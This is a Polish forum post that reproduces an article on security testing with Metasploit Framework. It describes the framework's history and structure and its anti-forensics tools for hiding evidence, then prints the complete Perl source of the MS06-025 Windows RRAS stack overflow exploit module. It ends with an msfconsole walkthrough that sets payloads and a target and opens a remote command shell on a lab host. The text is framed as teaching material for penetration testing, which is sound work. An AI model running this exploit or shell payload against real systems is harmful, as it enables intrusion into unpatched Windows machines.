Autor Wątek: Testy aplikacji  (Przeczytany 6320 razy)

0 użytkowników i 1 Gość przegląda ten wątek.

Offline Grzegorz Gałęzowski

  • archiwista
  • ***
  • Wiadomości: 444
  • Płeć: Mężczyzna
Testy aplikacji
« dnia: Sierpień 12, 2009, »
Ze względu na przygotowywaną politykę bezpieczeństwa, postanowiłem zaprezentować swój artykuł na temat testowania bezpieczeństwa aplikacji. Mam nadzieję że informacje tutaj zawarte pomogą w przyszłości testować aplikacje, które będą wykorzystywane w jednostkach AP.

http://rapidshare.com/files/266639648/galezowski_msf.pdf.html

Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego testowania, większość zarówno dużych, jak i nawet małych programów zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów źródłowych.

Testy bezpieczeństwa aplikacji z wykorzystaniem MSF

Program zbudowany z zaledwie kilkuset linijek może zawierać dziesiątki rozkazów umożliwiających wystąpienie tysięcy różnych błędów. Najgorsza sytuacja występuje w przypadku programów kontrolujących krytyczne procesy. Kod takiej aplikacji może zawierać od dziesiątków do milionów linii kodu źródłowego. Aplikacja taka może podjąć błędną decyzję, gdy przypadkowy układ sygnałów, który do niej doprowadzi, nie został dostatecznie przetestowany. Programista mógł prawidłowo zaprojektować złą reakcję lub w ogóle nie przewidzieć wystąpienia danej sytuacji. Ten typ defektu programu jest najtrudniejszy do całkowitego wyeliminowania.
Jak poważne konsekwencje mogą wywołać źle napisane programy, niech posłużą temu poniższe przykłady.
Niepowodzenia rakiet Patriot przy przechwytywaniu irackich rakiet Scud przypisano efektom nagromadzenia się niedokładności w pracy wewnętrznego zegara komputera. Komputer działał zgodnie z przyjętymi założeniami przewidywano, że będzie on wyłączany i włączany dostatecznie często, by kumulacja błędu nie była nigdy niebezpieczna. Ponieważ został zastosowany w sposób pierwotnie nieprzewidziany, niewielka niedokładność stała się poważnym problemem.
Jeden błędny bit w programie kontrolującym lot rakiety Atlas, która wyniosła w przestrzeń kosmiczną pierwszą amerykańską sondę międzyplanetarną Mariner 1, spowodował jej zejście z właściwego kursu. W konsekwencji zarówno rakieta, jak i sonda uległy zniszczeniu wkrótce po starcie.
Wytwarzane obecnie oprogramowanie staje się coraz bardziej złożone i coraz trudniej jest sprawić, aby było niezawodne. Testowanie kodu umożliwia szybkie wykrywanie błędów, a także kontrolę poprawnego funkcjonowania aplikacji. Dlatego ważne jest, by dostatecznie dobrze przetestować aplikację pod każdym względem, szczególnie jeżeli od jej działania zależeć będzie bezpieczeństwo i życie ludzi.
Historia Metasploit Framework (MSF)
Projekt Metasploit został pierwotnie stworzony przez czterech programistów jako sieć do testów bezpieczeństwa. Następnie był stopniowo rozwijany w ramach licencji Perl. Stabilna wersja produktu została wydana w czerwcu 2004 roku. Od tego czasu rozwój produktu oraz dodawanie nowych elementów następuje bardzo szybko.
Projekt Metasploit powstał w ramach grupy badawczej mającej zajmować się tworzeniem narzędzi związanych z bezpieczeństwem i lukami w systemach bezpieczeństwa. Najbardziej znanym projektem tej grupy jest oprogramowanie Metasploit Framework (MSF), rozpowszechniane przez głównych autorów tego projektu, którymi są programiści ukrywający się pod pseudonimami Spoonm i HD Moore, na zasadach otwartego kodu źródłowego.
MSF został pierwotnie napisany w języku skryptowym Perl i obejmował różnego rodzaju elementy napisane w języku C, asembler i Python. Licencja projektu została tak skonstruowana, że - w ramach licencji GPL v2 i Perl może być wykorzystywany zarówno w projektach open-source, jak i komercyjnych. Od wersji 3.0 MSF jest całkowicie od nowa napisany w języku Ruby i został wyposażony w szeroką gamę interfejsów API. Licencja tego produktu jest teraz bliższa tym obowiązującym w przypadku oprogramowania komercyjnego.
MSF można jednak wykorzystywać do własnego użytku, zachowano też prawo do swobodnego rozpowszechniania. Zabronione jest sprzedawanie MSF w jakiejkolwiek formie oraz integracja w pakietach komercyjnych (w oprogramowaniu, urządzeniu czy też w innej formie).
Wprawdzie początkowo w ramach tego projektu nie powstał żaden system wsparcia dla programistów, ale począwszy od wersji sytuacja się zmieniła, a wbudowana pomoc ma naprawdę szerokie możliwości.
Oprogramowanie MSF zostało stworzone, by dostarczyć programistom platformy do pisania oprogramowania wyszukującego luki w systemach bezpieczeństwa. Dzięki temu ułatwia ono ludziom zawodowo zajmującym się problemami bezpieczeństwa i badaczom szybkie pisanie odpowiednich narzędzi. Na najbardziej podstawowym poziomie system MSF dostarcza rozbudowanego interfejsu API umożliwiającego określanie różnych parametrów ataku wykrywającego lukę. Wielu spośród jego komponentów można używać wielokrotnie w różnych zestawieniach. Przykładami mogą być moduły generujące treść pakietów, przetwarzające ją, generatory NOP, biblioteki protokołów i procedury szyfrujące. Oprogramowanie MSF dostarcza szerokiego zestawu wydajnych komponentów, których można używać podczas programowania ataków testowych. Aby ułatwić szybkie tworzenie modułów i umożliwić ich wielokrotne wykorzystywanie, wszystkie komponenty pisane są w obiektowym języku Perl, wykorzystującym dynamiczne ładowanie.
Celem MSF jest umożliwienie ustawiania wartości parametrów definiowanych przez użytkownika i uruchamiania modułów testujących, tak aby móc kontrolować, w jaki sposób atak jest przeprowadzany.
Budowa Metasploit Framework
Podstawowym elementem Metasploit Framework (MSF) jest DataStore. Cały system jest logicznie podzielony na globalne elementy i moduły składowania danych.
Poniżej wymieniono najważniejsze elementy w pakiecie Metasploit:
   msfcli - interfejs poleceń, w którym wydawane są komendy wraz z opcjami,
   msfconsole - shell systemowy MSF. Oferuje dopełnianie poleceń (ang. tab completion),

-      msfdldebug - ładuje symbole debugowania dla plików systemu MS Windows,
-      msflogdump - program do analizowania logów generowanych przez MSF,
-      msfencode - testuje moduły kodujące. Dzięki niemu można zrozumieć kodowanie pakietów w MSF,
-      msfpayload - umożliwia testowanie pakietów generowanych przez moduł kodujący,
-      msfpayload.cgi - to samo co powyżej, tyle że w postaci programu CGI, który może być wykonywany z poziomu przeglądarki WWW po uprzednim umieszczeniu na serwerze Web,
-      msfpescan - narzędzie do odnajdywania dopasowań opkodów w plikach wykonywalnych Windows PE. Opkody są wykorzystywane jako instrukcje powrotne w czasie przeskakiwania do kodu powłoki,
-      msfupdate - program aktualizacyjny. Pobiera aktualizacje do oprogramowania MSF, łączy się ze stroną projektu przez protokół HTTPS.
-      msfweb - interfejs Metasploit w formie strony WWW, dostępny dla różnych przeglądarek internetowych.


Poszczególne katalogi dostępne poprzez interfejs przechowują następujące informacje:
-      /data - katalog plików związanych z obsługą treści przesyłanej w pakietach,
-      /docs - jak sama nazwa wskazuje, jest to katalog dokumentacji. W tym miejscu znajdziemy informacje na temat obsługi interfejsów i narzędzi MSF,
-      /encoders - zbiór modułów kodujących, które zajmują się obsługą danych w przesyłanych pakietach,
-      /exploits - przechowuje wszystkie testowe moduły ataków,
-      /lib - biblioteki tworzące rdzeń MSF,
-      /extra - mniej potrzebne przy pracy moduły Net-SSL i Term-ReadLine-Gnu Perl,
-      /nops - katalog z modułami, które generują bufory NOP (No Operation), wykorzystywane w atakach do zwiększenia ich odporności,
-      /payloads - moduły implementujące różne akcje, które mogą zostać wykonane w czasie ataku,
-      /sdk - ten katalog zawiera samouczek omawiający sposoby pisania modułów do nietypowych ataków,
-      /src - tutaj znajdziemy różne przykłady i inne elementy wykorzystywane przez MSF,
-      /tools- zbiór narzędzi Socket Ninja i memdump. Socket Ninja jest multiplekserowym menedżerem gniazd, a program memdump pobiera segmenty pamięci z działających procesów Windows.
MSF konkuruje bezpośrednio z takimi komercyjnymi produktami, jak Immunity's CANVAS lub Core Security Technology's Core Impact. Jednakże istnieje zasadnicza różnica pomiędzy tymi dwoma grupami pod względem funkcjonalności. Wymienione aplikacje komercyjne pozwalają w przyjazny sposób używać graficznych interfejsów użytkownika i posiadają szereg rozbudowanych możliwości raportowania. Warto jednak mieć na uwadze, że MSF jest przede wszystkim platformą do wykorzystania i opracowania nowych modułów testujących bezpieczeństwo aplikacji. Ponadto jest również platformą do projektowania narzędzi analitycznych, które umożliwiają badanie i rozwój nowych technik testowania bezpieczeństwa. Dlatego nie posiada tak rozbudowanych graficznych interfejsów, jak jego komercyjna konkurencja.
Ten system pozwala zaoszczędzić czas przeznaczony na rozwój własnych środowisk, które mogą być wykorzystane w testach penetracyjnych. Wspólne opcje mogą być definiowane w globalnym środowisku i automatycznie później wykorzystane za każdym następnym załadowaniem.
Poniższy przykład (Listing 1) pokazuje, w jaki sposób można wykorzystać parametry LPORT i LHOST.

Listing 1. Wykorzystanie parametrów LPORT i LHOST
msf > setg LPORT 1234
LPORT -> 1234
msf > setg LHOST 192.168.10.10
LHOST -> 192.168.10.10
msf > setg PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf > use apache_chunked_win32
msf apache_chunked_win32(win32_reverse) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ------- ------------------
optional SSL Use SSL
required RHOST The target address
required RPORT 80 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
optional EXITFUNC seh Exit technique: "process", "thread", "seh"
required LPORT 123 Local port to receive connection
required LHOST 192.168.10.10 Local address to receive connection

Projekt Metasploit składa się nie tylko z MSF. Obecnie obejmuje on również komponenty opisane poniżej.
Metasploit Opcode Database
Ten webowy interfejs jest prawdopodobnie najbardziej kompleksową bazą dostępnych opcode, pozwala użytkownikowi na wyszukiwanie opkodów z zestawu modułów na podstawie klas opcode.
Obecnie baza danych składa się z ponad 14 mln opcodes, obejmujących 320 różnych
typów opcode i 14 systemów operacyjnych. Jest ona dostępna w Internecie pod adresem
www.metasploit.com/opcode_database.html.

W obecnej wersji w ramach msfopcode zapewniono również dostęp do interfejsu
bazy danych w trybie online bezpośrednio z linii poleceń.
Metasploit Anti-forensics
Jest to zbiór narzędzi i dokumentów, które pomogą utrudnić przeprowadzenie w stosunku do zaatakowanego systemu tzw. analizy sądowej. Narzędzia są dopuszczone jako część pakietu Metasploit Anti-Forensic Investigation Arsenal (MAFIA). W skład pakietu wchodzą:
-      Timestomp - narzędzie, które umożliwia analizę oraz modyfikowanie znaczników plików przechowywanych w systemie NTFS,
-      Slacker - narzędzie, które pozwala ukryć dane w niezapełnionym fragmencie bloku (ang. slack space) systemu plików NTFS,
-      Sam Juicer - moduł, który pozwala na odczytanie skrótów haseł z pliku SAM bez jakiejkolwiek ingerencji w dysk twardy (łącznie z odczytem).
Jednym z najciekawszych nowych dodatków do MSF od wersji 3.0 jest moduł Recon. Komponent ten, wspomagany przez Nmap i Nessus, może pomóc w identyfikacji poszczególnych hostów w sieci, uruchomionych usług, otwartych portów i dostępnych wersji. Ponadto dostępne są moduły Recon odpowiedzialne za skanowanie portów i ocenianie słabości skanowanych hostów.
Istnieje silna inicjatywa opracowania korelacji silnika, który będzie klasyfikował i koordynował informacje otrzymane z modułu Recon z wydarzeniami zachodzącymi w sieci. Na przykład, aby wykorzystywać to w sytuacjach, kiedy automatycznie zostanie wykryte zagrożenie danego portu w testowanej sieci. Dodatkowo korelacja tego silnika jest realizowana w taki sposób, że informacje na temat stanu sieci mogą być przechowywane w bazie danych.
Po zainstalowaniu MSF mamy do dyspozycji trzy środowiska pracy msfconsole, msfcli i interfejs WWW msfweb. Jednakże podstawowym (i preferowanym) obszarem roboczym MSF jest msfconsole. Jest to wydajny interfejs wiersza poleceń, który ma swój własny zestaw komend systemu i środowiska. Został zaprojektowany do uruchamiania w systemach uniksowych, takich jak Linux lub BSD, można go również uruchomić w systemie Windows poprzez środowisko Cygwin. Instalator dla wersji Windows zawiera wstępnie skonfigurowaną wersję Cygwin. Jeżeli uruchomimy konsolę i wszystko zadziała bez problemów.

Teraz wszystkie polecenia dla msfconsole są aktywne. Konsola jest bardzo elastyczna, a jeśli użytkownik wprowadzi nieznane polecenia, będą one wyszukiwane w zmiennej środowiskowej PATH i dopasowane dla każdego pliku wykonywalnego. Jeśli zostanie znaleziony pasujący plik, następuje jego wykonanie podobnie jak standardowego polecenia.
Instynktownie wpisując polecenie help, uzyskamy listę dostępnych poleceń.

RRAS Stack Overflow (Exploit, MS06-025)
Istnieje luka w zabezpieczeniach, która daje możliwość zdalnego wywołania kodu w wyniku zaatakowania usługi Routing i zdalny dostęp. Umożliwia to osobie atakującej i wykorzystującej tę lukę na uzyskanie dostępu do systemu.
Zagrożone systemy:
-      Microsoft Windows 2000 Service Pack 4,
-      Microsoft Windows XP Service Pack 1 i Microsoft Windows XP Service Pack 2,
-      Microsoft Windows XP Professional x64 Edition,
-      Microsoft Windows Server 2003 i Microsoft Windows Server 2003 z dodatkiem Service Pack 1 (także w wersji dla komputerów z procesorem Itanium),
-      Microsoft Windows Server 2003 x64 Edition
Pełny kod programu wykorzystującego lukę RRAS Stack Overflow obejrzeć można na Listingu 2.

Listing 2. Windows RRAS Stack Overflow (Exploit, MS06-025)
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::rras_ms06_025;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;
use Pex::NDR;

my $advanced = {
'FragSize' => [ 256, 'The DCERPC fragment size' ],
'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
};

my $info = {
'Name' => 'Microsoft RRAS MSO6-025 Stack Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',
'H D Moore <hdm [at] metasploit.com>'
],

'Arch' => ['x86'],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' => {
'RHOST' => [ 1, 'ADDR', 'The target address' ],

# SMB connection options
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''],
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER,
XP=SRVSVC)', 'ROUTER' ],
},

'Payload' => {
'Space' => 1104,
'BadChars' => "\x00",
'Keys' => ['+ws2ord'],

# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},

'Description' => Pex::Text::Freeform(
qq{
This module exploits a stack overflow in the Windows Routing and
Remote
Access Service. Since the service is hosted inside svchost.exe, a failed
exploit attempt can cause other system services to fail as well. A valid
username and password is required to exploit this flaw on Windows 2000.
When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.
}
),

'Refs' =>
[
[ 'BID', '18325' ],
[ 'CVE', '2006-2370' ],
[ 'OSVDB', '26437' ],
[ 'MSB', 'MS06-025' ]
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ],
[ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret
[ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret
],

'Keys' => ['rras'],

'DisclosureDate' => 'Jun 13 2006',
};

sub new {
my ($class) = @_;
my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' =>
$advanced }, @_ );
return ($self);
}

sub Exploit {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

my $FragSize = $self->GetVar('FragSize') || 256;
my $target = $self->Targets->[$target_idx];

my ( $res, $rpc );

if ( !$self->InitNops(128) ) {
$self->PrintLine("
  • Failed to initialize the nop module.");

return;
}

my $pipe = "\\" . $self->GetVar("SMBPIPE");
my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df';
my $version = '1.0';

my $handle =
Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host,
$pipe );

my $dce = Pex::DCERPC->new(
'handle' => $handle,
'username' => $self->GetVar('SMBUSER'),
'password' => $self->GetVar('SMBPASS'),
'domain' => $self->GetVar('SMBDOM'),
'fragsize' => $self->GetVar('FragSize'),
'bindevasion' => $self->GetVar('BindEvasion'),
'directsmb' => $self->GetVar('DirectSMB'),
);

if ( !$dce ) {
$self->PrintLine("
  • Could not bind to $handle");

return;
}

my $smb = $dce->{'_handles'}{$handle}{'connection'};
if ( $target->
  • =~ /Auto/ ) {

if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
$target = $self->Targets->[1];
$self->PrintLine('
  • Detected a Windows 2000 target...');

}
elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
$target = $self->Targets->[2];
$self->PrintLine('
  • Detected a Windows XP target...');

}
else {
$self->PrintLine( '
  • No target available : ' . $smb->PeerNativeOS()

);
return;
}
}

my $pattern = '';

if ($target->
  • =~ /Windows 2000/) {


$pattern =
pack( 'V', 1 ) .
pack( 'V', 0x49 ) .
$shellcode .
"\xeb\x06" .
Pex::Text::AlphaNumText(2).
pack( 'V', $target->[1] ) .
"\xe9\xb7\xfb\xff\xff" ;

} elsif( $target->
  • =~ /Windows XP/) {


$pattern =
pack( 'V', 1 ) .
pack( 'V', 0x49 ) .
Pex::Text::AlphaNumText(0x4c).
"\xeb\x06" .
Pex::Text::AlphaNumText(2).
pack( 'V', $target->[1] ) .
$shellcode;

} else {
self->PrintLine( '
  • No target available...');

return;
}

# need to produce an exception
my $request = $pattern . Pex::Text::AlphaNumText(0x4000 -
length($pattern));

my $len = length ($request);

my $stub =
Pex::NDR::Long( int( 0x20000 ) )
. Pex::NDR::Long( int( $len ) )
. $request
. Pex::NDR::Long( int( $len ) );

$self->PrintLine("
  • Sending request...");

my @response = $dce->request( $handle, 0x0C, $stub );
if (@response) {
$self->PrintLine('
  • RPC server responded with:');

foreach my $line (@response) {
$self->PrintLine( '
  • ' . $line );

}
$self->PrintLine('
  • This probably means that the system is patched');

}
return;
}

Teraz opiszę procedurę, która pozwala wybrać opisany exploit, a następnie go uruchomić. Interesujące nas polecenia, które pozwolą rozpocząć pracę to:
show <exploits | payloads>
info <exploit | payload> <name>
use <exploit-name>
Inne komendy możemy poznać za pomocą polecenia help. Zaczniemy od znalezienia nazwy dla np. exploita RRAS (Listing 3).

Listing 3. Wyszukiwanie nazwy exploita RRAS
msf > show exploits
Exploits
========
Name Description
---- -----------
...
windows/smb/ms04_011_lsass Microsoft LSASS Service
DsRolerUpgradeDownlevelServer Overflow
windows/smb/ms04_031_netdde Microsoft NetDDE Service
Overflow
windows/smb/ms05_039_pnp Microsoft Plug and Play Service
Overflow
windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN
Registry Overflow
windows/smb/ms06_025_rras Microsoft RRAS Service Overflow
windows/smb/ms06_040_netapi Microsoft Server Service
NetpwPathCanonicalize Overflow

Na liście exploitów możemy odnaleźć Windows/smb/ms06_025_rras. Możemy go wybrać przy pomocy komendy use i następnie przejść do trybu bezpośredniej obsługi wybranego modułu - odpowiednie polecenia pokazane są na Listingu 4.

Listing 4. Przejście do bezpośredniej obsługi wybranego modułu
msf > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) >

Exploity wykorzystują różne opcje. Sprawdzimy jakie opcje powinny być ustawione dla exploita RRAS:

msf exploit(ms06_025_rras) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)

Exploit wymaga podania adresu atakowanego celu i numeru portu SMB (ang. Server Message Block), który wykorzystywany jest do nasłuchu.
Ustawimy cel ataku i podamy jego adres IP:
msf exploit(ms06_025_rras) > set RHOST 192.168.1.20
RHOST => 192.168.1.20
Składnia ustawień wygląda następująco:
Set <OPTION_NAME> <OPTION_VALUE>
W przykładzie użyjemy modułu, który otwiera polecenie powłoki i nasłuchuje na określonym porcie TCP.
Przejrzymy teraz (Listing 5) dostępne sposoby zaatakowania ofiary przy pomocy poszczególnych ładunków (ang. payloads) złośliwego kodu.

Listing 5. Przegląd modułów Payloads
msf exploit(ms06_025_rras) > show payloads
Compatible payloads
===================
...
windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline
windows/shell_bind_tcp_xpfw Windows Disable Windows ICF, Command
Shell, Bind TCP Inline
windows/shell_reverse_tcp Windows Command Shell, Reverse TCP
Inline
...

Na Listingu widoczne są trzy moduły, z których każdy może być używany do załadowania wbudowanej komendy powłoki. Użycie słowa inline oznacza tutaj polecenie powłoki, która jest ustawiona w tryb roundtrip.
Kolejną czynnością będzie wybór exploita, przy którego pomocy zaatakujemy zdalny host. Sprawdzimy też dostępne opcje (Listing 6).

Listing 6. Wybór exploita do atakowania zdalnego hosta
msf exploit(ms06_025_rras) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(ms06_025_rras) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.20 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)
Payload options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port

Exploit jest już skonfigurowany. Teraz musimy zdefiniować rodzaj atakowanego systemu. Metasploit wykorzystuje pewne uniwersalne typy, dzięki czemu praca na wszystkich platformach systemowych jest podobna. Listing 7. pokazuje, w jaki sposób sprawdzić podatne na exploit systemy operacyjne.

Listing 7. Sprawdzamy podatne na exploit systemy operacyjne
msf exploit(ms06_025_rras) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 SP4
1 Windows XP SP1
msf exploit(ms06_025_rras) > set TARGET 1
TARGET => 1

msf exploit(ms06_025_rras) > exploit
  • Started bind handler
  • [-] Exploit failed: Login Failed: The SMB server did not reply to our request

    Windows XP z dodatkiem SP1, zgodnie z Microsoft Security Bulletin, jest dość podatny na wspomniany atak. Przyjrzyjmy się bliżej, jak to wykorzystać (Listing 8).

    Listing 8. Sprawdzamy informacje na temat możliwości wykorzystania exploita
    msf exploit(ms06_025_rras) > info
    Name: Microsoft RRAS Service Overflow
    Version: 4498
    Platform: Windows
    Privileged: Yes
    License: Metasploit Framework License
    Provided by:
    Nicolas Pouvesle <nicolas.pouvesle@gmail.com>
    hdm <hdm@metasploit.com>
    Available targets:
    Id Name
    -- ----
    0 Windows 2000 SP4
    1 Windows XP SP1
    Basic options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOST 192.168.1.20 yes The target address
    RPORT 445 yes Set the SMB service port
    SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)
    Payload information:
    Space: 1104
    Avoid: 1 characters

    Opis exploita wskazuje, że w przypadku XP z SP1, w SMBPIPE opcja musi być ustawiona na SRVSVC. Metasploit w wersji 3 dodaje kilka modułów pomocniczych, z których jeden jest narzędziem do obsługi potoków.
    Użyjemy go do tego, by sprawdzić czy ROUTER jest narażony na zdalny atak (Listing 9).

    Listing 9. Sprawdzamy, czy ROUTER jest narażony na zdalny atak
    msf exploit(ms06_025_rras) > show auxiliary
    Name Description
    ---- -----------
    admin/backupexec/dump Veritas Backup Exec Windows Remote
    File Access
    admin/backupexec/registry Veritas Backup Exec Server Registry
    Access
    dos/freebsd/nfsd/nfsd_mount FreeBSD Remote NFS RPC Request Denial
    of Service
    dos/solaris/lpd/cascade_delete Solaris LPD Arbitrary File Delete
    dos/windows/nat/nat_helper Microsoft Windows NAT Helper Denial
    of Service
    dos/windows/smb/ms05_047_pnp Microsoft Plug and Play Service
    Registry Overflow
    dos/windows/smb/ms06_035_mailslot Microsoft SRV.SYS Mailslot Write
    Corruption
    dos/windows/smb/ms06_063_trans Microsoft SRV.SYS Pipe Transaction No
    Null
    dos/windows/smb/rras_vls_null_deref Microsoft RRAS
    InterfaceAdjustVLSPointers NULL Dereference
    dos/wireless/daringphucball Apple Airport 802.11 Probe Response
    Kernel Memory Corruption
    dos/wireless/fakeap Wireless Fake Access Point Beacon
    Flood
    dos/wireless/fuzz_beacon Wireless Beacon Frame Fuzzer
    dos/wireless/fuzz_proberesp Wireless Probe Response Frame Fuzzer
    dos/wireless/netgear_ma521_rates NetGear MA521 Wireless Driver Long
    Rates Overflow
    dos/wireless/netgear_wg311pci NetGear WG311v1 Wireless Driver Long
    SSID Overflow
    dos/wireless/probe_resp_null_ssid Multiple Wireless Vendor NULL SSID
    Probe Response
    dos/wireless/wifun Wireless Test Module
    recon_passive Simple Recon Module Tester
    scanner/discovery/sweep_udp UDP Service Sweeper
    scanner/mssql/mssql_login MSSQL Login Utility
    scanner/mssql/mssql_ping MSSQL Ping Utility
    scanner/scanner_batch Simple Recon Module Tester
    scanner/scanner_host Simple Recon Module Tester
    scanner/scanner_range Simple Recon Module Tester
    scanner/smb/pipe_auditor SMB Session Pipe Auditor
    scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor
    scanner/smb/version SMB Version Detection
    test Simple Auxiliary Module Tester
    test_pcap Simple Network Capture Tester
    voip/sip_invite_spoof SIP Invite Spoof

    Teraz przyszła kolej na sprawdzenie narażonych na atak potoków w systemie Windows XP. Niezbędne polecenia i ich wyniki przedstawia Listing 10.

    Listing 10. Sprawdzamy potoki w systemie Windows XP
    msf exploit(ms06_025_rras) > use scanner/smb/pipe_auditor
    msf auxiliary(pipe_auditor) > show options
    Module options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target address range or CIDR
    identifier
    msf auxiliary(pipe_auditor) > set RHOSTS 192.168.1.20
    RHOSTS => 192.168.1.20
    msf auxiliary(pipe_auditor) > exploit
  • Pipes: \netlogon, \lsarpc, \samr, \epmapper, \srvsvc, \wkssvc
  • Auxiliary module execution completed


Zajmiemy się potokiem SRVSVC. Niestety zadziała tylko w przypadku wyłączonej ściany ogniowej (Listing 11).

Listing 11. Sprawdzamy exploit na potoku SRVSVC
msf auxiliary(pipe_auditor) > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC
msf exploit(ms06_025_rras) > exploit
  • Started bind handler
  • Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_

np:192.168.1.20[\SRVSVC] ...
  • Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_

np:192.168.1.20[\SRVSVC] ...
  • Getting OS...
  • Calling the vulnerable function on Windows XP...
  • Command shell session 1 opened (192.168.1.13:2347 -> 192.168.1.20:4444)


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Windows\system32>

Połączenie zadziałało, możemy sprawdzić to za pomocą netstat:
C:\tools>netstat -an | findstr .20 | findstr ESTAB
TCP 192.168.1.13:3999 192.168.1.20:4444 ESTABLISHED
Podsumowanie
Główne cechy MSF:
-      jest napisany przede wszystkim w Perlu (niektóre części w Pythonie i C), co oznacza możliwość szybkiego rozwoju wtyczek,
-      wsparcie dla zewnętrznych narzędzi, bibliotek i funkcji, takich jak np. debugowanie, kodowanie, SSL,
-      zrozumiałe, intuicyjne, modułowe i rozszerzalne API dla środowiska programistycznego,
-      jest wysoce zoptymalizowany pod różne środowiska systemowe, ma budowę modułową,
-      rozszerzona obsługa i dobre wsparcie, które naprawdę pozwalają skrócić czas wykorzystania kodu do własnych potrzeb,
-      wsparcie dla różnych protokołów sieciowych i opcji, które mogą być wykorzystane do opracowania własnych elementów,
-      projekt oparty na Open Source, posiada dedykowane wsparcie dla tej społeczności deweloperów,
-      wsparcie dla zaawansowanych funkcji i narzędzi, takich jak InlineEgg, UploadExec i chainable proxy.
Lista podstawowych komend Metasploit Framework
Lista podstawowych komend Metasploit Framework:
-      ? - wyświetla pomoc z poziomu konsoli,
-      cd - zmiana katalogu roboczego,
-      exit - wyjście z konsoli,
-      help - pomoc dostępna z poziomu konsoli,
-      info - wyświetla szczegóły na temat payloadu lub exploita,
-      quit - wyjście z konsoli,
-      reload - przeładowanie payloadu lub exploita,
-      save - zapisanie konfiguracji na dysku,
-      setg - ustawienia globalne zmiennych środowiskowych,
-      show - wyświetla dostępne exploity i payloady,
-      unsetg - usuwa ustawienia globalnych zmiennych środowiskowych,
-      use - użyj wybranego exploita o określonej nazwie,
-      version - wyświetla informację o wersji.

Oprogramowanie czasami działa nieprawidłowo ze względu na zawarte w nim błędy. Niektórzy twierdzą, iż awarie są czymś regularnym, ponieważ tworzenie oprogramowania jest pracą całkowicie logiczną, nie istnieją w niej żadne wewnętrzne nieokreśloności. Jeżeli więc dostatecznie dobrze znamy dane wejściowe, zachowanie się programu powinno być całkowicie zdeterminowane.
Produkty takie jak platforma Metasploit mogą posłużyć do testowania ataków. Wykorzystywane są głównie przez administratorów czy oficerów bezpieczeństwa, którzy chcą sprawdzić poziom bezpieczeństwa swoich systemów lub aplikacji. Oczywiście tak samo często z tego zestawu korzystają audytorzy systemów informatycznych oraz hakerzy, którzy przy pomocy takich właśnie narzędzi w dużej mierze zdobywają wiedzę i testują podatności analizowanych systemów na pewne działania.
*Opcode - czyli kod operacji, jest to liczba, będąca fragmentem rozkazu przekazywanego do wykonania do procesora, która informuje, jaka operacja ma zostać wykonania (źródło: Wikipedia).
Strzeżcie się wilka!  Rzekła mama koza. Jeśli się tu wedrze, to zje was w całości wraz ze skórą i kopytkami. Umie on dobrze udawać, ale poznacie go od razu po grubym głosie i czarnych łapach. (z bajki braci Grimm O wilku i siedmiu koźlątkach)
